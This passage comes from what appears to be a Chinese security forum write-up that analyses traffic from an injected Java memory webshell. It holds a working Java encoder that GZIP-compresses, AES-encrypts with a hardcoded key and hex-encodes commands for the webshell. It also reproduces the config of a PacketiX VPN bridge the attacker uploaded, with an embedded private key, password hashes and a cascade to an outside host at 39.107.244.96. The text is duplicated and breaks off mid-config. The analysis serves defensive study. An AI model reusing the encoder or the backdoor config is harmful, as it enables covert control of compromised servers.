MIIDKjCCAhICAQAwDQYJKoZIhvcNAQEFBQAwWzEYMBYGA1UEAxMPV0lOLUIwUU83SjRNNlVMMRgwFgYDVQQKEw9XSU4tQjBRTzdKNE02VUwxGDAWBgNVBAsTD1dJTi1CMFFPN0o0TTZVTDELMAkGA1UEBhMCVVMwHhcNMTcwNzAyMTI0MTM4WhcNMzYxMjMxMTI0MTM4WjBbMRgwFgYDVQQDEw9XSU4tQjBRTzdKNE02VUwxGDAWBgNVBAoTD1dJTi1CMFFPN0o0TTZVTDEYMBYGA1UECxMPV0lOLUIwUU83SjRNNlVMMQswCQYDVQQGEwJVUzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAK7aiqB9fTvCR9vj94SGbsOIbnS7+npX3FuzSBg68zCDew+wxgUt/+4M8ecUI7nG+YQJUZdQhCvMtq1WQ6Q79Uut08dxCzyL2ChOLykNY+Siaauc8nQzsjnp/mGo93ZrOoNa8Tz+QkxW6F9JVIl0aPaEq1hdtrtO/ogO658h9yLm+MTIPRDvjnB2L02HXJ17vsF+KD8NX+djJnpDc9ocQlOSALxi+XUlteS+Qi8Lc8uIqgzuH56wqVe1z4sFlOjuZqhwxLQACeYY9f1/c43UjSAZ4RRjWxd2UE9nB/AuI8wfcEmEq/GtDDfWYbus5yBQxQ0QCUIzCv/y3uCTDhxFha8CAwEAATANBgkqhkiG9w0BAQUFAAOCAQEACuxYY7r+0IPE196QOAqYaiteI18obZ6Q1wEr8jLJvw7FvME+ygfARljNRoiqZsCRLzX1C2ZZDIiDB2XktBs5/eTvWGedho07y0NJZ9kTSp7CP2VTeqWe2y0bj32SqyjoYYcn4aoR5cuWDI3l/ncX1jjmyvoCBbG9flrBemTkvuPGuybmWgiWjrwbkkhyccXbqgoWaVBs1zv+UKxWUxNJPi/XBKX3nbt3Ix53Qr/C4RWeWN7ImmviCGG5lydGNH8IL6NWGNwhVBE11AKhD9H6zVBGlodTsvhT9LeP5EMDv6A/wGE54/6Ac/HDe3E0RDEnvQ/SyQyWHOeT/W1C/RUfNQ== byte ServerKey MIIEpAIBAAKCAQEArtqKoH19O8JH2+P3hIZuw4hudLv6elfcW7NIGDrzMIN7D7DGBS3/7gzx5xQjucb5hAlRl1CEK8y2rVZDpDv1S63Tx3ELPIvYKE4vKQ1j5KJpq5zydDOyOen+Yaj3dms6g1rxPP5CTFboX0lUiXRo9oSrWF22u07+iA7rnyH3Iub4xMg9EO+OcHYvTYdcnXu+wX4oPw1f52MmekNz2hxCU5IAvGL5dSW15L5CLwtzy4iqDO4fnrCpV7XPiwWU6O5mqHDEtAAJ5hj1/X9zjdSNIBnhFGNbF3ZQT2cH8C4jzB9wSYSr8a0MN9Zhu6znIFDFDRAJQjMK//Le4JMOHEWFrwIDAQABAoIBAA1sO24clAuNW4TW2D51L3WVOJ1/fLf9nK3xclxh0h9sSHso39qv8FCu77cEhcWSL79iE8Bg7vSJz5A46hJmg+seWf6af/lS5vIZJmepXnzDtwb0kmw3N7xYaS3IEc8mZiSFS7WZ8y73EPmXoIS4ygH6p0iuUQPKCaIaOx5JNjaYkekV7F0IelxOtk6ukhX3PBvNm7yOh4UWHPZRiwDaRTHYSOXDkfUYjN0H/nEoRp5c91qkQWLycxu2iie8UYHjV53oRkbFZulr6kpA5vb2/NakkVsntic26ve7VLs/VG+tnb3kbYGoKim9tYH6UODHhK6bnKxQs2dK0d3h198uO5kCgYEA6KJQH9H2yWwn/cUbv1Ak9yoNSexMajdbsoI5F9BhPzRi9IJTx4qfvuy3dSLv/AZwvGvDoq8j5TaR9hZeQpPKEvniuubUzB4V36nKrofuf80T9P4HxOnY6EJZLnxKnuVN+U3HVxzsgCi2CEWwXdA+m53axu5z9dlVsTvLfMhafDUCgYEAwGqHtoMqQpxYPMIhLqbhIYCotlHTBRMEpuHhR4Lsayy+3EqFqxbRYK1i4LteMFiuAEXzLNVNQmqinAYowmuw/zNrenUaq0szfjl9pozLwThJwFc7aXRXOjjMsZSnvvXgm2QLUSm++pXF90ULZuj1cIN++fkaIRvqt9x2REmVTtMCgYEAwLCRRYoYrEZV6bE2hoTP2ZqPX0fHE8O+xGFxAPStWDkALh81XfbI0tAoNXI27b436xon9by0Msu8ouVsNiFMI+OvlbhVUq0o2RY+t8oIFvu7KBayQLyh2d/7FrIE7RBqQbHXB6UBkDYocTmoGEzBTwy1hklE68KVZDRvHHCn4nECgYAMq/dcEa9Ky7kT50UAKYVSC4MQ3rqi7umzg9SuPPUM6dl38IB1D/+h+kk0u6IsVOrAodqt7S41XYhv9gfhJe52IBDH88ZZ2Y3+lhKsUUFp7CcPP69t9nd4Ih145G1XqiGsmh4UrkchgZOUATwK/vSLAF3wYHNUEt6WVTKEtMPceQKBgQC0r7W2tMvGLJRN3Hr9la0SrWtSSNxSDuxo9ovC/Q+M4ErKfntKApQu9CJ7TraoDX6iQNW7MXpf3wI8KmLjpDYAf3C0xCLhBpy2xcl37uQRBzbPlmZwAD6JDRF6HLlz/ObIGF7BHiKKtdRb4EDNqKqbZsbmXeZZ+oF4GsqpnOfQ3Q== bool UseKeepConnect false bool UseWebTimePage false bool UseWebUI false declare ServerTraffic { declare RecvTraffic { uint64 BroadcastBytes 296460 uint64 BroadcastCount 4860 uint64 UnicastBytes 191772 uint64 UnicastCount 4566 } declare SendTraffic { uint64 BroadcastBytes 283528 uint64 BroadcastCount 4648 uint64 UnicastBytes 191772 uint64 UnicastCount 4566 } } declare SyslogSettings { string HostName $ uint Port 514 uint SaveType 0 } } declare VirtualHUB { declare BRIDGE { uint64 CreatedTime 1498966898050 byte HashedPassword cMhqzoagDKaRUmp6Voy3KOO8UwU= uint64 LastCommTime 1658683962140 uint64 LastLoginTime 1498966898050 uint NumLogin 0 uint RadiusRetryInterval 0 uint RadiusServerPort 1812 string RadiusSuffixFilter $ byte SecurePassword 5+v8hsOTxxh0Es1E5Q2foTPKmwA= uint Type 0 declare AccessList { } declare AdminOption { uint allow_hub_admin_change_option 0 uint deny_bridge 0 uint deny_change_user_password 0 uint deny_empty_password 0 uint deny_hub_admin_change_ext_option 0 uint deny_qos 0 uint deny_routing 0 uint max_accesslists 0 uint max_bitrates_download 0 uint max_bitrates_upload 0 uint max_groups 0 uint max_multilogins_per_user 0 uint max_sessions 0 uint max_sessions_bridge 0 uint max_sessions_client 0 uint max_sessions_client_bridge_apply 0 uint max_users 0 uint no_access_list_include_file 0 uint no_cascade 0 uint no_change_access_control_list 0 uint no_change_access_list 0 uint no_change_admin_password 0 uint no_change_cert_list 0 uint no_change_crl_list 0 uint no_change_groups 0 uint no_change_log_config 0 uint no_change_log_switch_type 0 uint no_change_msg 0 uint no_change_users 0 uint no_delay_jitter_packet_loss 0 uint no_delete_iptable 0 uint no_delete_mactable 0 uint no_disconnect_session 0 uint no_enum_session 0 uint no_offline 0 uint no_online 0 uint no_query_session 0 uint no_read_log_file 0 uint no_securenat 0 uint no_securenat_enabledhcp 0 uint no_securenat_enablenat 0 } declare CascadeList { declare Cascade0 { bool CheckServerCert false bool Online true declare ClientAuth { uint AuthType 1 byte HashedPassword bqIe5x7T35DFj//sj/mSZLzUetQ= string Username fuck } declare ClientOption { string AccountName 39.107.244.96 uint AdditionalConnectionInterval 1 uint ConnectionDisconnectSpan 0 string DeviceName _SEHUBLINKCLI_ bool DisableQoS false bool HalfConnection false bool HideNicInfoWindow false bool HideStatusWindow false string Hostname 39.107.244.96 string HubName lvye uint MaxConnection 3 bool NoRoutingTracking true bool NoTls1 false bool NoUdpAcceleration false uint NumRetry 4294967295 uint Port 443 uint PortUDP 0 string ProxyName $ byte ProxyPassword $ uint ProxyPort 0 uint ProxyType 0 string ProxyUsername $ bool RequireBridgeRoutingMode true bool RequireMonitorMode false uint RetryInterval 10 bool UseCompress false bool UseEncrypt true } declare Policy { bool ArpDhcpOnly false bool CheckIP false bool CheckIPv6 false bool CheckMac false bool DHCPFilter false bool DHCPForce false bool DHCPNoServer false bool DHCPv6Filter false bool DHCPv6NoServer false bool FilterIPv4 false bool FilterIPv6 false bool FilterNonIP false uint MaxDownload 0 uint MaxIP 0 uint MaxIPv6 0 uint MaxMac 0 uint MaxUpload 0 bool NoBroadcastLimiter false bool NoIPv6DefaultRouterInRA false bool NoIPv6DefaultRouterInRAWhenIPv6 false bool NoServer false bool NoServerV6 false bool RAFilter false bool RSandRAFilter false uint VLanId 0 } } } declare LogSetting { uint PacketLogSwitchType 4 uint PACKET_LOG_ARP 0 uint PACKET_LOG_DHCP 1 uint PACKET_LOG_ETHERNET 0 uint PACKET_LOG_ICMP 0 uint PACKET_LOG_IP 0 uint PACKET_LOG_TCP 0 uint PACKET_LOG_TCP_CONN 1 uint PACKET_LOG_UDP 0 bool SavePacketLog false bool SaveSecurityLog false uint SecurityLogSwitchType 4 } declare Message { } declare Option { uint AccessListIncludeFileCacheLifetime 30 uint AdjustTcpMssValue 0 bool ApplyIPv4AccessListOnArpPacket false bool BroadcastLimiterStrictMode false uint BroadcastStormDetectionThreshold 0 uint ClientMinimumRequiredBuild 0 bool DisableAdjustTcpMss false bool DisableCheckMacOnLocalBridge false bool DisableCorrectIpOffloadChecksum false bool DisableHttpParsing false bool DisableIPParsing false bool DisableKernelModeSecureNAT false bool DisableUdpAcceleration false bool DisableUdpFilterForLocalBridgeNic false bool DisableUserModeSecureNAT false bool DoNotSaveHeavySecurityLogs false bool FilterBPDU false bool FilterIPv4 false bool FilterIPv6 false bool FilterNonIP false bool FilterOSPF false bool FilterPPPoE false bool ManageOnlyLocalUnicastIPv6 true bool ManageOnlyPrivateIP true uint MaxLoggedPacketsPerMinute 0 uint MaxSession 0 bool NoArpPolling true bool NoDhcpPacketLogOutsideHub true bool NoEnum false bool NoIpTable false bool NoIPv4PacketLog false bool NoIPv6AddrPolling false bool NoIPv6DefaultRouterInRAWhenIPv6 true bool NoIPv6PacketLog false bool NoLookBPDUBridgeId false bool NoMacAddressLog true bool NoManageVlanId false bool NoSpinLockForPacketDelay false bool RemoveDefGwOnDhcpForLocalhost true uint RequiredClientId 0 uint SecureNAT_MaxDnsSessionsPerIp 0 uint SecureNAT_MaxIcmpSessionsPerIp 0 uint SecureNAT_MaxTcpSessionsPerIp 0 uint SecureNAT_MaxTcpSynSentPerIp 0 uint SecureNAT_MaxUdpSessionsPerIp 0 string VlanTypeId 0x8100 bool YieldAfterStorePacket false } declare SecureNAT { bool Disabled false bool SaveLog false declare VirtualDhcpServer { string DhcpDnsServerAddress 192.168.30.1 string DhcpDnsServerAddress2 0.0.0.0 string DhcpDomainName localdomain bool DhcpEnabled true uint DhcpExpireTimeSpan 7200 string DhcpGatewayAddress 192.168.30.1 string DhcpLeaseIPEnd 192.168.30.200 string DhcpLeaseIPStart 192.168.30.10 string DhcpSubnetMask 255.255.255.0 } declare VirtualHost { string VirtualHostIp 192.168.30.1 string VirtualHostIpSubnetMask 255.255.255.0 string VirtualHostMacAddress 00-AC-A6-9A-81-1B } declare VirtualRouter { bool NatEnabled true uint NatMtu 1500 uint NatTcpTimeout 1800 uint NatUdpTimeout 60 } } declare Traffic { declare RecvTraffic { uint64 BroadcastBytes 296460 uint64 BroadcastCount 4860 uint64 UnicastBytes 191772 uint64 UnicastCount 4566 } declare SendTraffic { uint64 BroadcastBytes 283528 uint64 BroadcastCount 4648 uint64 UnicastBytes 191772 uint64 UnicastCount 4566 } } } } } methodName uploadFilesessionId rk36LtN8sGY4moG8B ``` 0x02 加密脚本 ========= 2.1 照猫画虎 -------- 打入内存马后,我们的流量就需要加上一层GZIP,我们接下来使用内存马中的一系列命令 首先我们打入内存马 经过测试,我们首先发出 methodName test ,就会收到sessionID ```php 26426ac13be6e1b58c69fd371bac6de05031411e180aefaba292f681d82e4080931feb534693d2267c5d1940e676a29e ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-1f209544399cfbd3feacfa4883f681caf3a98589.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-843f154ef0e2915968f5e099ff85b409fce33776.png) ```php 流量包4 POST /web_war_exploded/config.jsp HTTP/1.1 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Connection: close Cookie: JSESSIONID=9591F786236B86A2FD02F136EDA38C6B.server Content-Type: application/json Cache-Control: no-cache Pragma: no-cache Host: 127.0.0.1:8080 Content-Length: 208 {"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"26426ac13be6e1b58c69fd371bac6de05031411e180aefaba292f681d82e4080931feb534693d2267c5d1940e676a29e"} HTTP/1.1 200 Set-Cookie: JSESSIONID=D8A411B8D8226E192FD0935A0976D604; Path=/web_war_exploded; HttpOnly Content-Type: application/json;charset=UTF-8 Content-Length: 290 Date: Sun, 31 Jul 2022 09:43:18 GMT Connection: close {"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ0aeP7q4n2hcmkzSNR3IziwHfy4+8Q7p37mMXD6GsMrDD4Ype2tIXHwyRH5UiUdhYziyH","exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}} ``` 没注入之前 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-ff96fd583bc48bf80cf01858ee3861e4c70ff4f7.png) 注入后 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-9c8dd27c5520cd43c4f6896a20d1534dea458172.png) 然后我们使用 method getBasicsInfo 输入 我们的session 就会获取到 当前环境的相关信息 我们的session是 zBubm0zj9WhM0MtNm 我们加密尝试 ```php 我们的流量 =》GZIP =》 aes128 =》 hex unhex(byte) =》 aes128(byte) =》 GZIP(byte) =》 hex写入文件 GZIP(byte) =》; aes128(byte) =》 hex ; ``` ```php package hello.controller; import lombok.var; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.io.*; import java.nio.charset.StandardCharsets; import java.util.Scanner; import java.util.zip.GZIPOutputStream; public class payloadG { public static String stringToHexString(String s) { String str = ""; for (int i = 0; i < s.length(); i++) { int ch = s.charAt(i); String s4 = Integer.toHexString(ch); str = str + s4; } return str; } public static byte[] compress(byte[] data) throws Exception { ByteArrayInputStream bais = new ByteArrayInputStream(data); ByteArrayOutputStream baos = new ByteArrayOutputStream(); // 压缩 compress(bais,baos); byte[] output = baos.toByteArray(); baos.flush(); baos.close(); bais.close(); return output; } //数据压缩 public static void compress(InputStream is, OutputStream os) throws Exception { GZIPOutputStream gos = new GZIPOutputStream(os); int count; byte data[] = new byte[1024]; while ((count = is.read(data, 0, 1024)) != -1) { gos.write(data, 0, count); } gos.finish(); gos.flush(); gos.close(); } public static byte[] base64Decode(byte[] bytes) { byte[] value = null; try { Class<?> base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{bytes}); } catch (Exception exception) { try { Class<?> base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String(bytes)}); } catch (Exception exception1) { } } return value; } public static byte[] encrypt2(byte[] byteContent) { try { SecretKeySpec key = new SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES"); Cipher cipher = Cipher.getInstance("AES");//AES/ECB/NoPadding // byte[] byteContent = content.getBytes("utf-8"); cipher.init(Cipher.ENCRYPT_MODE, key);// 初始化 byte[] result = cipher.doFinal(byteContent); return result; // 加密 } catch (Exception e){ e.printStackTrace(); } return null; } public static byte[] xor(byte[] data) { byte[] key; int len; int keyLen; int index; int i; for (key = base64Decode("R84sh+6uJ9oXJpMfw2pc/Q==".getBytes()), len = data.length, keyLen = key.length, index = 0, i = 1; i <= len; ) { index = i - 1; data[index] = (byte) (data[index] ^ key[i % keyLen]); i++; } return data; } public static String byteToHex(byte[] bytes){ String strHex = ""; StringBuilder sb = new StringBuilder(""); for (int n = 0; n < bytes.length; n++) { strHex = Integer.toHexString(bytes[n] & 0xFF); sb.append((strHex.length() == 1) ? "0" + strHex : strHex); // 每个字节由两个字符表示,位数不够,高位补0 } return sb.toString().trim(); } public static String parseByte2HexStr(byte buf[]) { StringBuffer sb = new StringBuffer(); for (int i = 0; i < buf.length; i++) { String hex = Integer.toHexString(buf[i] & 0xFF); if (hex.length() == 1) { hex = '0' + hex; } sb.append(hex.toUpperCase()); } return sb.toString(); } public static byte[] hexToByteArray(String inHex){ int hexlen = inHex.length(); byte[] result; if (hexlen % 2 == 1){ //奇数 hexlen++; result = new byte[(hexlen/2)]; inHex="0"+inHex; }else { //偶数 result = new byte[(hexlen/2)]; } int j=0; for (int i = 0; i < hexlen; i+=2){ result[j]=hexToByte(inHex.substring(i,i+2)); j++; } return result; } public static byte hexToByte(String inHex){ return (byte)Integer.parseInt(inHex,16); } public static void main(String[] args) throws Exception { System.out.println("指定你选择的类:输入(methodName)"); var sc = new Scanner(System.in); String flow = sc.nextLine(); String STX = "02"; String CR = "0D"; String NUL = "00"; String DC1 = "11"; String EOT = "04"; if(flow.equals("methodName")){ System.out.println("请输入想要调用的的sessionid(getBasicsInfosessionId,test)"); var sc1 = new Scanner(System.in); String flow1 = sc1.nextLine(); String hheexx = stringToHexString(flow); //System.out.println(hheexx); String result1 = hheexx + STX + CR + NUL + NUL + NUL; String result2 = stringToHexString(flow1) + STX + DC1 + NUL + NUL + NUL; //System.out.println(result2); if(flow1.equals("getBasicsInfosessionId")){ System.out.println("请输入sessionid"); var sc2 = new Scanner(System.in); String flow2 = sc1.nextLine(); String re = result1 + result2 + stringToHexString(flow2); System.out.println("命令:"+ flow + flow1 + flow2); System.out.println("hex流量:"+re); System.out.println("报文:"+byteToHex(encrypt2(compress(hexToByteArray(re.toLowerCase()))))); } if(flow1.equals("test")){ result1 = hheexx + STX + EOT + NUL + NUL + NUL; String re = result1 + stringToHexString("test"); System.out.println("命令:"+ flow + flow1); System.out.println("hex流量:"+re); System.out.println("报文:"+byteToHex(encrypt2(compress(hexToByteArray(re.toLowerCase()))))); } } } } ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-7d72d41d5dfc91266e8d2f3f891adf65a133b893.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-43649a8d385a465ed66a7f6e32069b6a2753af48.png) 发送之后,获取到我们电脑的所有数据 ```php methodName closesessionId zfHMcDwYAIqwMUS82 ``` 在传文件的时候, 我们也捕获了他的报文,因为太长了,我们存在文件里, ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-b297e5ff2a83370124e7eda3f4a5e7c2d66c0e38.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-400263e5a60900836a1c9070f4739975cf9dcb1b.png) 解16 进制的时候,也有一些命令, 上传大文件 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-b81de127906bf9d1fba99e2aa9dbf1f59a091d49.png) MZ咨询了师傅就是PE文件头 但是始终不能执行,最后发现,他分片传输了,我们对样本进行搜索 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-d41a0a5f56b9694a56394b59ae5c1eae4ed1b1e5.png) 我们只到了一半不到,我们解密下一半数据包 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-e4e2d02826b583882403fcab193008936f006cf5.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-ff81a564289e6e12e365bb9bff175a35a5b1d807.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-6884969d8219348ae7b5e2a1e7d0d8e638fd5d2c.png) 最终合成之后,是一个vpn软件,packetiX VPN ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-148fcf930a51b354c27fd2e2fe770221dc16d3c7.png) 功能还是比较完善的,注册服务,隐藏任务栏,还是比较智能的 注册服务需要admin ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-43da944bc14646e50a77b59fa5f3258690b6d9e7.png) ```php fileName& E:/NC65home/bin/cert/vpn_bridge.configfileValueT. # Software Configuration File # # You can edit this file when the program is not working. # declare root { uint ConfigRevision 18 bool IPsecMessageDisplayed false bool VgsMessageDisplayed false declare ListenerList { declare Listener0 { bool DisableDos false bool Enabled true uint Port 443 } declare Listener1 { bool DisableDos false bool Enabled true uint Port 992 } declare Listener2 { bool DisableDos false bool Enabled true uint Port 1194 } declare Listener3 { bool DisableDos false bool Enabled true uint Port 8888 } } declare LocalBridgeList { bool EnableSoftEtherKernelModeDriver true bool ShowAllInterfaces false } declare ServerConfiguration { uint64 AutoDeleteCheckDiskFreeSpaceMin 8589934592 uint AutoSaveConfigSpan 300 bool BackupConfigOnlyWhenModified false string CipherName RC4-MD5 uint CurrentBuild 9378 bool DisableDeadLockCheck false bool DisableDosProction false bool DisableIntelAesAcceleration false bool DisableIPv6Listener false bool DontBackupConfig true byte HashedPassword +1LL01Ii2zKsr+r5M4gDijVCBXI= string KeepConnectHost 8.8.8.8 uint KeepConnectInterval 50 uint KeepConnectPort 80 uint KeepConnectProtocol 1 uint MaxConnectionsPerIP 256 uint MaxUnestablishedConnections 1000 bool NoDebugDump false bool NoHighPriorityProcess false bool NoSendSignature false bool SaveDebugLog false byte ServerCert MIIDKjCCAhICAQAwDQYJKoZIhvcNAQEFBQAwWzEYMBYGA1UEAxMPV0lOLUIwUU83SjRNNlVMMRgwFgYDVQQKEw9XSU4tQjBRTzdKNE02VUwxGDAWBgNVBAsTD1dJTi1CMFFPN0o0TTZVTDELMAkGA1UEBhMCVVMwHhcNMTcwNzAyMTI0MTM4WhcNMzYxMjMxMTI0MTM4WjBbMRgwFgYDVQQDEw9XSU4tQjBRTzdKNE02VUwxGDAWBgNVBAoTD1dJTi1CMFFPN0o0TTZVTDEYMBYGA1UECxMPV0lOLUIwUU83SjRNNlVMMQswCQYDVQQGEwJVUzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAK7aiqB9fTvCR9vj94SGbsOIbnS7+npX3FuzSBg68zCDew+wxgUt/+4M8ecUI7nG+YQJUZdQhCvMtq1WQ6Q79Uut08dxCzyL2ChOLykNY+Siaauc8nQzsjnp/mGo93ZrOoNa8Tz+QkxW6F9JVIl0aPaEq1hdtrtO/ogO658h9yLm+MTIPRDvjnB2L02HXJ17vsF+KD8NX+djJnpDc9ocQlOSALxi+XUlteS+Qi8Lc8uIqgzuH56wqVe1z4sFlOjuZqhwxLQACeYY9f1/c43UjSAZ4RRjWxd2UE9nB/AuI8wfcEmEq/GtDDfWYbus5yBQxQ0QCUIzCv/y3uCTDhxFha8CAwEAATANBgkqhkiG9w0BAQUFAAOCAQEACuxYY7r+0IPE196QOAqYaiteI18obZ6Q1wEr8jLJvw7FvME+ygfARljNRoiqZsCRLzX1C2ZZDIiDB2XktBs5/eTvWGedho07y0NJZ9kTSp7CP2VTeqWe2y0bj32SqyjoYYcn4aoR5cuWDI3l/ncX1jjmyvoCBbG9flrBemTkvuPGuybmWgiWjrwbkkhyccXbqgoWaVBs1zv+UKxWUxNJPi/XBKX3nbt3Ix53Qr/C4RWeWN7ImmviCGG5lydGNH8IL6NWGNwhVBE11AKhD9H6zVBGlodTsvhT9LeP5EMDv6A/wGE54/6Ac/HDe3E0RDEnvQ/SyQyWHOeT/W1C/RUfNQ== byte ServerKey MIIEpAIBAAKCAQEArtqKoH19O8JH2+P3hIZuw4hudLv6elfcW7NIGDrzMIN7D7DGBS3/7gzx5xQjucb5hAlRl1CEK8y2rVZDpDv1S63Tx3ELPIvYKE4vKQ1j5KJpq5zydDOyOen+Yaj3dms6g1rxPP5CTFboX0lUiXRo9oSrWF22u07+iA7rnyH3Iub4xMg9EO+OcHYvTYdcnXu+wX4oPw1f52MmekNz2hxCU5IAvGL5dSW15L5CLwtzy4iqDO4fnrCpV7XPiwWU6O5mqHDEtAAJ5hj1/X9zjdSNIBnhFGNbF3ZQT2cH8C4jzB9wSYSr8a0MN9Zhu6znIFDFDRAJQjMK//Le4JMOHEWFrwIDAQABAoIBAA1sO24clAuNW4TW2D51L3WVOJ1/fLf9nK3xclxh0h9sSHso39qv8FCu77cEhcWSL79iE8Bg7vSJz5A46hJmg+seWf6af/lS5vIZJmepXnzDtwb0kmw3N7xYaS3IEc8mZiSFS7WZ8y73EPmXoIS4ygH6p0iuUQPKCaIaOx5JNjaYkekV7F0IelxOtk6ukhX3PBvNm7yOh4UWHPZRiwDaRTHYSOXDkfUYjN0H/nEoRp5c91qkQWLycxu2iie8UYHjV53oRkbFZulr6kpA5vb2/NakkVsntic26ve7VLs/VG+tnb3kbYGoKim9tYH6UODHhK6bnKxQs2dK0d3h198uO5kCgYEA6KJQH9H2yWwn/cUbv1Ak9yoNSexMajdbsoI5F9BhPzRi9IJTx4qfvuy3dSLv/AZwvGvDoq8j5TaR9hZeQpPKEvniuubUzB4V36nKrofuf80T9P4HxOnY6EJZLnxKnuVN+U3HVxzsgCi2CEWwXdA+m53axu5z9dlVsTvLfMhafDUCgYEAwGqHtoMqQpxYPMIhLqbhIYCotlHTBRMEpuHhR4Lsayy+3EqFqxbRYK1i4LteMFiuAEXzLNVNQmqinAYowmuw/zNrenUaq0szfjl9pozLwThJwFc7aXRXOjjMsZSnvvXgm2QLUSm++pXF90ULZuj1cIN++fkaIRvqt9x2REmVTtMCgYEAwLCRRYoYrEZV6bE2hoTP2ZqPX0fHE8O+xGFxAPStWDkALh81XfbI0tAoNXI27b436xon9by0Msu8ouVsNiFMI+OvlbhVUq0o2RY+t8oIFvu7KBayQLyh2d/7FrIE7RBqQbHXB6UBkDYocTmoGEzBTwy1hklE68KVZDRvHHCn4nECgYAMq/dcEa9Ky7kT50UAKYVSC4MQ3rqi7umzg9SuPPUM6dl38IB1D/+h+kk0u6IsVOrAodqt7S41XYhv9gfhJe52IBDH88ZZ2Y3+lhKsUUFp7CcPP69t9nd4Ih145G1XqiGsmh4UrkchgZOUATwK/vSLAF3wYHNUEt6WVTKEtMPceQKBgQC0r7W2tMvGLJRN3Hr9la0SrWtSSNxSDuxo9ovC/Q+M4ErKfntKApQu9CJ7TraoDX6iQNW7MXpf3wI8KmLjpDYAf3C0xCLhBpy2xcl37uQRBzbPlmZwAD6JDRF6HLlz/ObIGF7BHiKKtdRb4EDNqKqbZsbmXeZZ+oF4GsqpnOfQ3Q== bool UseKeepConnect false bool UseWebTimePage false bool UseWebUI false declare ServerTraffic { declare RecvTraffic { uint64 BroadcastBytes 296460 uint64 BroadcastCount 4860 uint64 UnicastBytes 191772 uint64 UnicastCount 4566 } declare SendTraffic { uint64 BroadcastBytes 283528 uint64 BroadcastCount 4648 uint64 UnicastBytes 191772 uint64 UnicastCount 4566 } } declare SyslogSettings { string HostName $ uint Port 514 uint SaveType 0 } } declare VirtualHUB { declare BRIDGE { uint64 CreatedTime 1498966898050 byte HashedPassword cMhqzoagDKaRUmp6Voy3KOO8UwU= uint64 LastCommTime 1658683962140 uint64 LastLoginTime 1498966898050 uint NumLogin 0 uint RadiusRetryInterval 0 uint RadiusServerPort 1812 string RadiusSuffixFilter $ byte SecurePassword 5+v8hsOTxxh0Es1E5Q2foTPKmwA= uint Type 0 declare AccessList { } declare AdminOption { uint allow_hub_admin_change_option 0 uint deny_bridge 0 uint deny_change_user_password 0 uint deny_empty_password 0 uint deny_hub_admin_change_ext_option 0 uint deny_qos 0 uint deny_routing 0 uint max_accesslists 0 uint max_bitrates_download 0 uint max_bitrates_upload 0 uint max_groups 0 uint max_multilogins_per_user 0 uint max_sessions 0 uint max_sessions_bridge 0 uint max_sessions_client 0 uint max_sessions_client_bridge_apply 0 uint max_users 0 uint no_access_list_include_file 0 uint no_cascade 0 uint no_change_access_control_list 0 uint no_change_access_list 0 uint no_change_admin_password 0 uint no_change_cert_list 0 uint no_change_crl_list 0 uint no_change_groups 0 uint no_change_log_config 0 uint no_change_log_switch_type 0 uint no_change_msg 0 uint no_change_users 0 uint no_delay_jitter_packet_loss 0 uint no_delete_iptable 0 uint no_delete_mactable 0 uint no_disconnect_session 0 uint no_enum_session 0 uint no_offline 0 uint no_online 0 uint no_query_session 0 uint no_read_log_file 0 uint no_securenat 0 uint no_securenat_enabledhcp 0 uint no_securenat_enablenat 0 } declare CascadeList { declare Cascade0 { bool CheckServerCert false bool Online true declare ClientAuth { uint AuthType 1 byte HashedPassword bqIe5x7T35DFj//sj/mSZLzUetQ= string Username fuck } declare ClientOption { string AccountName 39.107.244.96 uint AdditionalConnectionInterval 1 uint ConnectionDisconnectSpan 0 string DeviceName _SEHUBLINKCLI_ bool DisableQoS false bool HalfConnection false bool HideNicInfoWindow false bool HideStatusWindow false string Hostname 39.107.244.96 string HubName lvye uint MaxConnection 3 bool NoRoutingTracking true bool NoTls1 false bool NoUdpAcceleration false uint NumRetry 4294967295 uint Port 443 uint PortUDP 0 string ProxyName $ byte ProxyPassword $ uint ProxyPort 0 uint ProxyType 0 string ProxyUsername $ bool RequireBridgeRoutingMode true bool RequireMonitorMode false uint RetryInterval 10 bool UseCompress false bool UseEncrypt true } declare Policy { bool ArpDhcpOnly false bool CheckIP false bool CheckIPv6 false bool CheckMac false bool DHCPFilter false bool DHCPForce false bool DHCPNoServer false bool DHCPv6Filter false bool DHCPv6NoServer false bool FilterIPv4 false bool FilterIPv6 false bool FilterNonIP false uint MaxDownload 0 uint MaxIP 0 uint MaxIPv6 